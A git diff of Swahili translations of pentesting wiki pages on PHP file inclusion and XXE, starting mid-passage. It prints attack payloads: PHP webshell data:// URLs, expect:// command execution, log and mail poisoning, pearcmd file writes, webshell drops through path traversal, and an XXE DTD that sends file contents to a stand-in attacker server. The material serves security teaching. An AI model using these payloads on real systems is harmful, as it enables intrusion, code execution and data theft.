itaturuhusu kukisia herufi mwanzoni mwa maandiko kwa kuona wakati tunafanya mabadiliko ya kutosha ili kufanya isiwe herufi ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitafuta na bomu la awali litafanya php ikose. +- Codec **convert.iconv.UNICODE.CP930** inabadilisha kila herufi kuwa ifuatayo (hivyo baada ya codec hii: a -> b). Hii inaturuhusu kugundua ikiwa herufi ya kwanza ni `a` kwa mfano kwa sababu ikiwa tutatumia 6 za codec hii a->b->c->d->e->f->g herufi haitakuwa tena herufi ya hexadecimal, kwa hivyo dechunk haifutai na kosa la php linachochewa kwa sababu inazidisha na bomu la awali. - Kutumia mabadiliko mengine kama **rot13** mwanzoni inawezekana kuvuja herufi nyingine kama n, o, p, q, r (na codecs nyingine zinaweza kutumika kuhamasisha herufi nyingine kwenye eneo la hex). - Wakati herufi ya awali ni nambari inahitajika kuibua kwa base64 na kuvuja herufi 2 za kwanza ili kuvuja nambari. -- Tatizo la mwisho ni kuona **jinsi ya kuvuja zaidi ya herufi ya awali**. Kwa kutumia filters za kumbukumbu za agizo kama **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** inawezekana kubadilisha agizo la herufi na kupata katika nafasi ya kwanza herufi nyingine za maandiko. -- Na ili kuwa na uwezo wa kupata **data zaidi** wazo ni **kuunda bytes 2 za data za junk mwanzoni** kwa kutumia **convert.iconv.UTF16.UTF16**, tumia **UCS-4LE** ili kufanya iwe **pivot na bytes 2 zinazofuata**, na **ondoa data hadi data za junk** (hii itafuta bytes 2 za kwanza za maandiko ya awali). Endelea kufanya hivi hadi ufikie kipande kinachotakiwa kuvuja. +- Problemu ya mwisho ni kuona **jinsi ya kuvuja zaidi ya herufi ya awali**. Kwa kutumia filters za kumbukumbu za agizo kama **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** inawezekana kubadilisha agizo la herufi na kupata katika nafasi ya kwanza herufi nyingine za maandiko. +- Na ili kuwa na uwezo wa kupata **data zaidi** wazo ni **kuunda bytes 2 za data za junk mwanzoni** kwa kutumia **convert.iconv.UTF16.UTF16**, tumia **UCS-4LE** ili kufanya iwe **pivot na bytes 2 zinazofuata**, na **futa data hadi data za junk** (hii itafuta bytes 2 za kwanza za maandiko ya awali). Endelea kufanya hivi hadi ufikie bit inayotakiwa kuvuja. Katika chapisho zana ya kufanya hii kiotomatiki pia ilivuja: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). @@ -301,7 +301,7 @@ Unaweza pia kutumia **php://stdin, php://stdout na php://stderr** kufikia **file ### zip:// na rar:// Pakia faili la Zip au Rar lenye PHPShell ndani na ulifike.\ -Ili uweze kutumia protokali ya rar **inahitaji kuamuliwa kwa njia maalum**. +Ili uweze kutumia itifaki ya rar **inahitaji kuamuliwa kwa njia maalum**. ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -326,11 +326,11 @@ http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` -Kumbuka kwamba protokali hii imepunguzwa na mipangilio ya php **`allow_url_open`** na **`allow_url_include`** +Kumbuka kwamba protokali hii imepunguziliwa mbali na mipangilio ya php **`allow_url_open`** na **`allow_url_include`** ### expect:// -Expect inapaswa kuwezeshwa. Unaweza kutekeleza msimbo kwa kutumia hii: +Expect inapaswa kuanzishwa. Unaweza kutekeleza msimbo kwa kutumia hii: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls @@ -356,11 +356,11 @@ Ili kuunda faili la `.phar`, amri ifuatayo inapaswa kutekelezwa: ```bash php --define phar.readonly=0 create_path.php ``` -Kwa utekelezaji, faili lililo na jina `test.phar` litaundwa, ambalo linaweza kutumika ku exploit Local File Inclusion (LFI) vulnerabilities. +Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities. -Katika hali ambapo LFI inafanya tu kusoma faili bila kutekeleza PHP code ndani yake, kupitia kazi kama `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, au `filesize()`, kujaribu exploit udhaifu wa deserialization kunaweza kufanywa. Udhaifu huu unahusishwa na kusoma faili kwa kutumia protokali ya `phar`. +In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol. -Kwa ufahamu wa kina wa jinsi ya ku exploit udhaifu wa deserialization katika muktadha wa faili za `.phar`, rejea kwenye hati iliyo na kiungo hapa chini: +For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below: [Phar Deserialization Exploitation Guide](phar-deserialization.md) @@ -370,13 +370,13 @@ phar-deserialization.md ### CVE-2024-2961 -Ilikuwa inawezekana kutumia **faili yoyote isiyo ya kawaida iliyosomwa kutoka PHP inayounga mkono filters za php** kupata RCE. Maelezo ya kina yanaweza [**kupatikana katika chapisho hili**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ -Muhtasari wa haraka: **overflow ya byte 3** katika PHP heap ilitumiwa vibaya kubadilisha **mnyororo wa vipande vya bure** vya ukubwa maalum ili kuweza **kuandika chochote katika anwani yoyote**, hivyo hook iliongezwa kuita **`system`**.\ -Ilikuwa inawezekana kugawa vipande vya ukubwa maalum kwa kutumia filters zaidi za php. +Iliwezekana kutumia **faili yoyote isiyo ya kawaida inayosomwa kutoka PHP inayounga mkono filters za php** kupata RCE. Maelezo ya kina yanaweza [**kupatikana katika chapisho hili**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ +Muhtasari wa haraka: **overflow ya byte 3** katika PHP heap ilitumiwa kubadilisha **mnyororo wa vipande vya bure** vya ukubwa maalum ili kuweza **kuandika chochote katika anwani yoyote**, hivyo hook iliongezwa kuita **`system`**.\ +Iliwezekana kugawa vipande vya ukubwa maalum kwa kutumia filters zaidi za php. -### Protokali zaidi +### More protocols -Angalia protokali zaidi zinazoweza [**kujumuishwa hapa**](https://www.php.net/manual/en/wrappers.php)**:** +Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** - [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Andika katika kumbukumbu au katika faili ya muda (sijui jinsi hii inaweza kuwa na manufaa katika shambulio la kuingiza faili) - [file://](https://www.php.net/manual/en/wrappers.file.php) — Kufikia mfumo wa faili wa ndani @@ -387,15 +387,15 @@ Angalia protokali zaidi zinazoweza [**kujumuishwa hapa**](https://www.php.net/ma - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 - [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Mito ya sauti (Sio muhimu kusoma faili zisizo za kawaida) -## LFI kupitia 'assert' ya PHP +## LFI via PHP's 'assert' -Hatari za Local File Inclusion (LFI) katika PHP ni za juu sana linapokuja suala la kazi ya 'assert', ambayo inaweza kutekeleza code ndani ya nyuzi. Hii ni tatizo hasa ikiwa ingizo lililo na wahusika wa kupita kwenye saraka kama ".." linakaguliwa lakini halijasafishwa ipasavyo. +Hatari za Local File Inclusion (LFI) katika PHP ni za juu sana unaposhughulika na kazi ya 'assert', ambayo inaweza kutekeleza msimbo ndani ya nyuzi. Hii ni tatizo hasa ikiwa ingizo linalojumuisha wahusika wa kupita kwenye saraka kama ".." linakaguliwa lakini halijasafishwa ipasavyo. -Kwa mfano, code ya PHP inaweza kuundwa kuzuia kupita kwenye saraka kama ifuatavyo: +Kwa mfano, msimbo wa PHP unaweza kubuniwa kuzuia kupita kwenye saraka kama ifuatavyo: ```bash assert("strpos('$file', '..') === false") or die(""); ``` -Wakati hii inakusudia kuzuia traversal, inasababisha bila kukusudia vector ya kuingiza msimbo. Ili kutumia hii kusoma maudhui ya faili, mshambuliaji anaweza kutumia: +Wakati hii inakusudia kuzuia traversal, inasababisha kwa bahati mbaya kuunda njia ya kuingiza msimbo. Ili kutumia hii kusoma maudhui ya faili, mshambuliaji anaweza kutumia: ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` @@ -410,9 +410,9 @@ Ni muhimu **URL-encode hizi payloads**. > [!WARNING] > Mbinu hii inahusiana na hali ambapo unadhibiti **file path** ya **PHP function** ambayo itafanya **access a file** lakini huwezi kuona maudhui ya faili (kama wito rahisi kwa **`file()`**) lakini maudhui hayakuonyeshwa. -Katika [**hiki kipande cha ajabu**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) inaelezwa jinsi blind path traversal inaweza kutumika vibaya kupitia PHP filter ili **kuondoa maudhui ya faili kupitia oracle ya makosa**. +Katika [**hiki kipande cha ajabu**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) inaelezwa jinsi traversal ya njia ya kipofu inaweza kutumika vibaya kupitia PHP filter ili **kuondoa maudhui ya faili kupitia oracle ya kosa**. -Kwa muhtasari, mbinu inatumia **"UCS-4LE" encoding** kufanya maudhui ya faili kuwa **makubwa** kiasi kwamba **PHP function inayofungua** faili itasababisha **makosa**. +Kwa muhtasari, mbinu inatumia **"UCS-4LE" encoding** kufanya maudhui ya faili kuwa **makubwa** kiasi kwamba **PHP function inayofungua** faili itasababisha **kosa**. Kisha, ili kuvuja herufi ya kwanza, filter **`dechunk`** inatumika pamoja na nyingine kama **base64** au **rot13** na hatimaye filters **convert.iconv.UCS-4.UCS-4LE** na **convert.iconv.UTF16.UTF-16BE** zinatumika ili **kweka herufi nyingine mwanzoni na kuvuja hizo**. @@ -422,24 +422,24 @@ Kwa maelezo ya kiufundi angalia kipande kilichotajwa! ## LFI2RCE -### Kuandika Faili ya Kichaguliwa kupitia Path Traversal (Webshell RCE) +### Kuandika Faili Isiyo na Mpangilio kupitia Path Traversal (Webshell RCE) -Wakati msimbo wa upande wa seva unaopokea/kuweka faili unajenga njia ya marudio kwa kutumia data inayodhibitiwa na mtumiaji (k.m., jina la faili au URL) bila kuifanya kuwa ya kawaida na kuithibitisha, sehemu za `..` na njia za moja kwa moja zinaweza kutoroka kutoka kwenye directory iliyokusudiwa na kusababisha kuandika faili ya kiholela. Ikiwa unaweza kuweka payload chini ya directory inayoweza kuonekana kwenye wavuti, kwa kawaida unapata RCE isiyo na uthibitisho kwa kuacha webshell. +Wakati msimbo wa upande wa seva unaopokea/kuweka faili unajenga njia ya marudio kwa kutumia data inayodhibitiwa na mtumiaji (k.m., jina la faili au URL) bila kuifanya iwe ya kawaida na kuithibitisha, sehemu za `..` na njia za moja kwa moja zinaweza kutoroka kutoka kwenye directory iliyokusudiwa na kusababisha kuandika faili isiyo na mpangilio. Ikiwa unaweza kuweka payload chini ya directory inayoweza kuonekana kwenye wavuti, kwa kawaida unapata RCE isiyo na uthibitisho kwa kuacha webshell. Mchakato wa kawaida wa unyakuzi: -- Tambua primitive ya kuandika katika mwisho au mfanyakazi wa nyuma ambao unakubali njia/jina la faili na kuandika maudhui kwenye diski (k.m., upokeaji unaoendeshwa na ujumbe, waandishi wa amri za XML/JSON, extractor za ZIP, n.k.). +- Tambua primitive ya kuandika katika mwisho au mfanyakazi wa nyuma inayokubali njia/jina la faili na kuandika maudhui kwenye diski (k.m., upokeaji unaoendeshwa na ujumbe, waandishi wa amri za XML/JSON, extractor za ZIP, n.k.). - Tambua directories zinazoweza kuonekana kwenye wavuti. Mifano ya kawaida: - Apache/PHP: `/var/www/html/` - Tomcat/Jetty: `/webapps/ROOT/` → acha `shell.jsp` - IIS: `C:\inetpub\wwwroot\` → acha `shell.aspx` - Tengeneza njia ya traversal inayovunja kutoka kwenye directory ya uhifadhi iliyokusudiwa hadi kwenye webroot, na jumuisha maudhui ya webshell yako. -- Tembelea payload iliyotolewa na kutekeleza amri. +- Tembelea payload iliyotolewa na tekeleza amri. Maelezo: -- Huduma iliyo hatarini inayofanya kuandika inaweza kusikiliza kwenye bandari isiyo ya HTTP (k.m., msikilizaji wa JMF XML kwenye TCP 4004). Portal kuu ya wavuti (bandari tofauti) itatoa payload yako baadaye. -- Katika stack za Java, hizi kuandika faili mara nyingi zinafanywa kwa kuunganisha rahisi `File`/`Paths`. Ukosefu wa kuifanya kuwa ya kawaida/kuorodhesha ni kasoro kuu. +- Huduma yenye udhaifu inayofanya kuandika inaweza kusikiliza kwenye bandari isiyo ya HTTP (k.m., msikilizaji wa JMF XML kwenye TCP 4004). Portal kuu ya wavuti (bandari tofauti) itahudumia payload yako baadaye. +- Katika stack za Java, hizi kuandika faili mara nyingi zinafanywa kwa kuunganisha rahisi `File`/`Paths`. Ukosefu wa kuifanya iwe ya kawaida/kuorodhesha ni kasoro kuu. -Mfano wa kawaida wa XML/JMF (mifano ya bidhaa inatofautiana – DOCTYPE/mwili wa wrapper si muhimu kwa traversal): +Mfano wa kawaida wa XML/JMF (mifano ya bidhaa inatofautiana – DOCTYPE/body wrapper si muhimu kwa traversal): ```xml @@ -470,16 +470,16 @@ Hardening that defeats this class of bugs: ## Remote File Inclusion -Imepangwa hapo awali, [**fuata kiungo hiki**](#remote-file-inclusion). +Imesemwa hapo awali, [**fuata kiungo hiki**](#remote-file-inclusion). ### Via Apache/Nginx log file Ikiwa seva ya Apache au Nginx ni **vulnerable to LFI** ndani ya kazi ya kujumuisha unaweza kujaribu kufikia **`/var/log/apache2/access.log` au `/var/log/nginx/access.log`**, kuweka ndani ya **user agent** au ndani ya **GET parameter** shell ya php kama **``** na ujumuishe hiyo faili > [!WARNING] -> Kumbuka kwamba **ikiwa unatumia nukuu mbili** kwa ajili ya shell badala ya **nukuu rahisi**, nukuu mbili zitaondolewa kwa ajili ya string "_**quote;**_", **PHP itatupa kosa** hapo na **hakuna kingine kitakachotekelezwa**. +> Kumbuka kwamba **ikiwa unatumia nukuu mbili** kwa shell badala ya **nukuu rahisi**, nukuu mbili zitaondolewa kwa string "_**quote;**_", **PHP itatupa kosa** hapo na **hakuna kingine kitakachotekelezwa**. > -> Pia, hakikisha unafanya **kuandika payload kwa usahihi** au PHP itakosa kila wakati inajaribu kupakia faili la log na hutakuwa na fursa ya pili. +> Pia, hakikisha unafanya **kuandika payload kwa usahihi** au PHP itakosea kila wakati inajaribu kupakia faili la log na hutakuwa na fursa ya pili. Hii inaweza pia kufanywa katika log nyingine lakini **kuwa makini,** msimbo ndani ya log unaweza kuwa URL encoded na hii inaweza kuharibu Shell. Kichwa **authorisation "basic"** kina "user:password" katika Base64 na kinatolewa ndani ya log. PHPShell inaweza kuingizwa ndani ya kichwa hiki.\ Njia nyingine zinazowezekana za log: @@ -496,9 +496,9 @@ Njia nyingine zinazowezekana za log: ``` Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) -### Kupitia Barua +### Kupitia Barua Pepe -**Tuma barua** kwa akaunti ya ndani (user@localhost) yenye payload yako ya PHP kama `` na jaribu kuingiza kwenye barua ya mtumiaji kwa njia kama **`/var/mail/`** au **`/var/spool/mail/`** +**Tuma barua pepe** kwa akaunti ya ndani (user@localhost) yenye payload yako ya PHP kama `` na jaribu kuingiza kwenye barua pepe ya mtumiaji kwa njia kama **`/var/mail/`** au **`/var/spool/mail/`** ### Kupitia /proc/\*/fd/\* @@ -552,14 +552,14 @@ Ikiwa ssh inafanya kazi angalia ni mtumiaji gani anatumika (/proc/self/status & ### **Via** **vsftpd** _**logs**_ -Marekebisho ya seva ya FTP vsftpd yako katika _**/var/log/vsftpd.log**_. Katika hali ambapo kuna udhaifu wa Local File Inclusion (LFI), na ufikiaji wa seva ya vsftpd iliyofichuliwa unapatikana, hatua zifuatazo zinaweza kuzingatiwa: +Marekodi ya seva ya FTP vsftpd yako katika _**/var/log/vsftpd.log**_. Katika hali ambapo kuna udhaifu wa Local File Inclusion (LFI), na ufikiaji wa seva ya vsftpd iliyofichuliwa unapatikana, hatua zifuatazo zinaweza kuzingatiwa: 1. Ingiza payload ya PHP katika uwanja wa jina la mtumiaji wakati wa mchakato wa kuingia. -2. Baada ya kuingiza, tumia LFI kupata marekebisho ya seva kutoka _**/var/log/vsftpd.log**_. +2. Baada ya kuingiza, tumia LFI kupata marekodi ya seva kutoka _**/var/log/vsftpd.log**_. ### Via php base64 filter (using base64) -Kama ilivyoonyeshwa katika [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) makala, PHP base64 filter inapuuzilia mbali Non-base64. Unaweza kutumia hiyo kupita ukaguzi wa kiendelezi cha faili: ikiwa unatoa base64 inayomalizika na ".php", itapuuzilia mbali "." na kuunganisha "php" kwenye base64. Hapa kuna mfano wa payload: +Kama ilivyoonyeshwa katika [hii](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) makala, PHP base64 filter inapuuzilia mbali Non-base64. Unaweza kutumia hiyo kupita ukaguzi wa kiendelezi cha faili: ikiwa unatoa base64 inayomalizika na ".php", itapuuzilia mbali "." na kuongezea "php" kwa base64. Hapa kuna mfano wa payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php @@ -567,7 +567,7 @@ NOTE: the payload is "" ``` ### Via php filters (no file needed) -Hii [**andika** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) inaelezea kwamba unaweza kutumia **php filters kuunda maudhui yasiyo na mipaka** kama matokeo. Hii kwa msingi inamaanisha kwamba unaweza **kuunda msimbo wa php wa kiholela** kwa ajili ya kuingiza **bila kuhitaji kuandika** kwenye faili. +Hii [**andika** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) inaelezea kwamba unaweza kutumia **php filters kuunda maudhui yasiyo na mipaka** kama matokeo. Hii inamaanisha kwamba unaweza **kuunda msimbo wa php wa kiholela** kwa ajili ya kuingiza **bila kuhitaji kuandika** kwenye faili. {{#ref}} lfi2rce-via-php-filters.md @@ -575,7 +575,7 @@ lfi2rce-via-php-filters.md ### Via segmentation fault -**Pakia** faili ambayo itahifadhiwa kama **ya muda** katika `/tmp`, kisha katika **ombio moja**, trigger **segmentation fault**, na kisha **faili ya muda haitafutwa** na unaweza kuitafuta. +**Pakia** faili ambayo itahifadhiwa kama **ya muda** katika `/tmp`, kisha katika **ombio moja,** trigger **segmentation fault**, na kisha **faili ya muda haitafutwa** na unaweza kuitafuta. {{#ref}} lfi2rce-via-segmentation-fault.md @@ -591,7 +591,7 @@ lfi2rce-via-nginx-temp-files.md ### Via PHP_SESSION_UPLOAD_PROGRESS -Ikiwa umepata **Local File Inclusion** hata kama **huna session** na `session.auto_start` imewekwa `Off`. Ikiwa utaweka **`PHP_SESSION_UPLOAD_PROGRESS`** katika **data ya multipart POST**, PHP itafanya **session iweze kwako**. Unaweza kutumia hii vibaya kupata RCE: +Ikiwa umepata **Local File Inclusion** hata kama **huna kikao** na `session.auto_start` imewekwa `Off`. Ikiwa utaweka **`PHP_SESSION_UPLOAD_PROGRESS`** katika **data ya multipart POST**, PHP itafanya **kikao kwa ajili yako**. Unaweza kutumia hii vibaya kupata RCE: {{#ref}} via-php_session_upload_progress.md @@ -607,7 +607,7 @@ lfi2rce-via-temp-file-uploads.md ### Via `pearcmd.php` + URL args -Kama [**ilivyoelezwa katika chapisho hili**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), script `/usr/local/lib/phppearcmd.php` inapatikana kwa default katika picha za docker za php. Zaidi ya hayo, inawezekana kupitisha hoja kwa script kupitia URL kwa sababu inabainishwa kwamba ikiwa param ya URL haina `=`, inapaswa kutumika kama hoja. +Kama [**ilivyoelezwa katika chapisho hili**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skripti `/usr/local/lib/phppearcmd.php` inapatikana kwa default katika picha za docker za php. Zaidi ya hayo, inawezekana kupitisha hoja kwa skripti kupitia URL kwa sababu inabainishwa kwamba ikiwa param ya URL haina `=`, inapaswa kutumika kama hoja. Ombi lifuatalo linaunda faili katika `/tmp/hello.php` yenye maudhui ``: ```bash @@ -657,7 +657,7 @@ _Hata kama unasababisha Kosa la Kifo la PHP, faili za muda za PHP zilizopakiwa z - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) -- [Horizon3.ai – Kutoka Tiketi ya Msaada hadi Siku ya Zero (FreeFlow Core path traversal → kuandika bila mpangilio → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/) +- [Horizon3.ai – Kutoka Tiketi ya Msaada hadi Zero Day (FreeFlow Core path traversal → kuandika bila mpangilio → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/) - [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf) {{#file}} diff --git a/src/pentesting-web/xxe-xee-xml-external-entity.md b/src/pentesting-web/xxe-xee-xml-external-entity.md index 14ec06b59..6448e9b25 100644 --- a/src/pentesting-web/xxe-xee-xml-external-entity.md +++ b/src/pentesting-web/xxe-xee-xml-external-entity.md @@ -6,11 +6,11 @@ XML ni lugha ya alama iliyoundwa kwa ajili ya uhifadhi na usafirishaji wa data, ikiwa na muundo wa kubadilika unaoruhusu matumizi ya lebo zenye majina ya kuelezea. Inatofautiana na HTML kwa kutokuwa na mipaka ya lebo zilizowekwa awali. Umuhimu wa XML umepungua na kuongezeka kwa JSON, licha ya jukumu lake la awali katika teknolojia ya AJAX. -- **Uwakilishi wa Data kupitia Vitu**: Vitu katika XML vinawezesha uwakilishi wa data, ikiwa ni pamoja na wahusika maalum kama `<` na `>`, ambazo zinahusiana na `<` na `>` ili kuepuka mgongano na mfumo wa lebo za XML. +- **Uwakilishi wa Data kupitia Vitu**: Vitu katika XML vinaruhusu uwakilishi wa data, ikiwa ni pamoja na wahusika maalum kama `<` na `>`, ambazo zinahusiana na `<` na `>` ili kuepuka mgongano na mfumo wa lebo za XML. - **Kufafanua Vipengele vya XML**: XML inaruhusu ufafanuzi wa aina za vipengele, ikielezea jinsi vipengele vinavyopaswa kuundwa na ni maudhui gani yanaweza kuwa nayo, kuanzia aina yoyote ya maudhui hadi vipengele maalum vya watoto. - **Ufafanuzi wa Aina ya Hati (DTD)**: DTD ni muhimu katika XML kwa kufafanua muundo wa hati na aina za data zinazoweza kuwa ndani yake. Zinaweza kuwa za ndani, za nje, au mchanganyiko, zikiongoza jinsi hati zinavyopangwa na kuthibitishwa. -- **Vitu vya Kawaida na vya Nje**: XML inasaidia kuunda vitu vya kawaida ndani ya DTD kwa uwakilishi wa data wa kubadilika. Vitu vya nje, vilivyofafanuliwa kwa URL, vinazua wasiwasi wa usalama, hasa katika muktadha wa mashambulizi ya XML External Entity (XXE), ambayo yanatumia jinsi waandishi wa XML wanavyoshughulikia vyanzo vya data vya nje: ` ]>` -- **Ugunduzi wa XXE kwa kutumia Vitu vya Kigezo**: Ili kugundua udhaifu wa XXE, hasa wakati mbinu za kawaida zinaposhindwa kutokana na hatua za usalama za waandishi, vitu vya kigezo vya XML vinaweza kutumika. Vitu hivi vinaruhusu mbinu za kugundua nje ya muktadha, kama vile kuanzisha utafutaji wa DNS au maombi ya HTTP kwa kikoa kinachodhibitiwa, ili kuthibitisha udhaifu. +- **Vitu vya Kawaida na vya Nje**: XML inasaidia kuunda vitu vya kawaida ndani ya DTD kwa uwakilishi wa data wa kubadilika. Vitu vya nje, vilivyofafanuliwa kwa URL, vinainua wasiwasi wa usalama, hasa katika muktadha wa mashambulizi ya XML External Entity (XXE), ambayo yanatumia jinsi waandishi wa XML wanavyoshughulikia vyanzo vya data vya nje: ` ]>` +- **Ugunduzi wa XXE kwa kutumia Vitu vya Kigezo**: Ili kugundua udhaifu wa XXE, hasa wakati mbinu za kawaida zinaposhindwa kutokana na hatua za usalama za waandishi, vitu vya kigezo vya XML vinaweza kutumika. Vitu hivi vinaruhusu mbinu za kugundua nje ya mtandao, kama vile kuanzisha utafutaji wa DNS au maombi ya HTTP kwa kikoa kilichodhibitiwa, ili kuthibitisha udhaifu. - ` ]>` - ` ]>` @@ -35,7 +35,7 @@ Katika shambulio hili nitajaribu kuona kama tangazo rahisi la KITU kipya linafan Hebu tujaribu kusoma `/etc/passwd` kwa njia tofauti. Kwa Windows unaweza kujaribu kusoma: `C:\windows\system32\drivers\etc\hosts` -Katika kesi hii ya kwanza, angalia kwamba SYSTEM "_**file:///**etc/passwd_" pia itafanya kazi. +Katika kesi hii ya kwanza, zingatia kwamba SYSTEM "_**file:///**etc/passwd_" pia itafanya kazi. ```xml ]> @@ -91,7 +91,7 @@ Kwa kutumia **mbinu iliyotajwa hapo awali** unaweza kufanya seva kufikia seva un ``` ### "Blind" SSRF - Exfiltrate data out-of-band -**Katika tukio hili tutafanya server iandae DTD mpya yenye payload mbaya ambayo itatuma maudhui ya faili kupitia ombi la HTTP (kwa faili zenye mistari mingi unaweza kujaribu kuhamasisha kupitia \_ftp://**\_ ukitumia server hii ya msingi kwa mfano [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Maelezo haya yanategemea** [**Portswiggers lab hapa**](https://portswigger.net/web-security/xxe/blind)**.** +**Katika tukio hili tutafanya server i-load DTD mpya yenye payload mbaya ambayo itatuma maudhui ya faili kupitia ombi la HTTP (kwa faili zenye mistari mingi unaweza kujaribu kuhamasisha kupitia \_ftp://**\_ ukitumia server hii ya msingi kwa mfano [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Maelezo haya yanategemea** [**Portswiggers lab hapa**](https://portswigger.net/web-security/xxe/blind)**.** Katika DTD mbaya iliyotolewa, mfululizo wa hatua unafanywa ili kuhamasisha data: @@ -108,9 +108,9 @@ Hatua zinazotekelezwa na DTD hii ni: 1. **Mwelekeo wa Vigezo vya Kigezo:** - Kigezo cha XML, `%file`, kinaundwa, kikisoma maudhui ya faili ya `/etc/hostname`. -- Kigezo kingine cha XML, `%eval`, kinafafanuliwa. Kinatangaza kwa njia ya kidinamikali kigezo kipya cha XML, `%exfiltrate`. Kigezo cha `%exfiltrate` kimewekwa kufanya ombi la HTTP kwa seva ya mshambuliaji, likipitia maudhui ya kigezo cha `%file` ndani ya mfuatano wa swali wa URL. +- Kigezo kingine cha XML, `%eval`, kinafafanuliwa. Kinatangaza kwa njia ya kidinamikia kigezo kipya cha XML, `%exfiltrate`. Kigezo cha `%exfiltrate` kimewekwa kufanya ombi la HTTP kwa seva ya mshambuliaji, likipitia maudhui ya kigezo cha `%file` ndani ya mfuatano wa swali wa URL. 2. **Tekeleza Vigezo:** -- Kigezo cha `%eval` kinatumika, na kusababisha utekelezaji wa tangazo la kidinamikali la kigezo cha `%exfiltrate`. +- Kigezo cha `%eval` kinatumika, na kusababisha utekelezaji wa tangazo la kidinamikia la kigezo cha `%exfiltrate`. - Kigezo cha `%exfiltrate` kinatumika, kikichochea ombi la HTTP kwa URL iliyoainishwa na maudhui ya faili. Mshambuliaji anahifadhi DTD hii mbaya kwenye seva chini ya udhibiti wao, kawaida kwenye URL kama `http://web-attacker.com/malicious.dtd`. @@ -121,20 +121,20 @@ Mshambuliaji anahifadhi DTD hii mbaya kwenye seva chini ya udhibiti wao, kawaida %xxe;]> 3;1 ``` -Hii payload inafafanua kigezo cha XML `%xxe` na kuingiza ndani ya DTD. Wakati inashughulikiwa na parser ya XML, hii payload inapata DTD ya nje kutoka kwa seva ya mshambuliaji. Parser kisha inatafsiri DTD inline, ikitekeleza hatua zilizoainishwa katika DTD mbaya na kusababisha kuhamasishwa kwa faili ya `/etc/hostname` kwenye seva ya mshambuliaji. +Hii payload inafafanua kigezo cha XML `%xxe` na kuingiza ndani ya DTD. Wakati inashughulikiwa na parser ya XML, hii payload inapata DTD ya nje kutoka kwa seva ya mshambuliaji. Parser kisha inatafsiri DTD inline, ikitekeleza hatua zilizoainishwa katika DTD mbaya na kusababisha kuhamasishwa kwa faili ya `/etc/hostname` kwa seva ya mshambuliaji. ### Makosa Yanayotokana na (External DTD) **Katika kesi hii tutafanya seva ipakie DTD mbaya ambayo itaonyesha maudhui ya faili ndani ya ujumbe wa kosa (hii ni halali tu ikiwa unaweza kuona ujumbe wa makosa).** [**Mfano kutoka hapa.**](https://portswigger.net/web-security/xxe/blind) -Ujumbe wa kosa la uchambuzi wa XML, ukifunua maudhui ya faili ya `/etc/passwd`, unaweza kusababishwa kwa kutumia Aina ya Hati ya Nje (DTD) mbaya. Hii inafanywa kupitia hatua zifuatazo: +Ujumbe wa kosa la uchambuzi wa XML, ukifunua maudhui ya faili ya `/etc/passwd`, unaweza kuanzishwa kwa kutumia DTD ya nje mbaya. Hii inafanywa kupitia hatua zifuatazo: 1. Kigezo cha XML kinachoitwa `file` kinafafanuliwa, ambacho kina maudhui ya faili ya `/etc/passwd`. 2. Kigezo cha XML kinachoitwa `eval` kinafafanuliwa, kikijumuisha 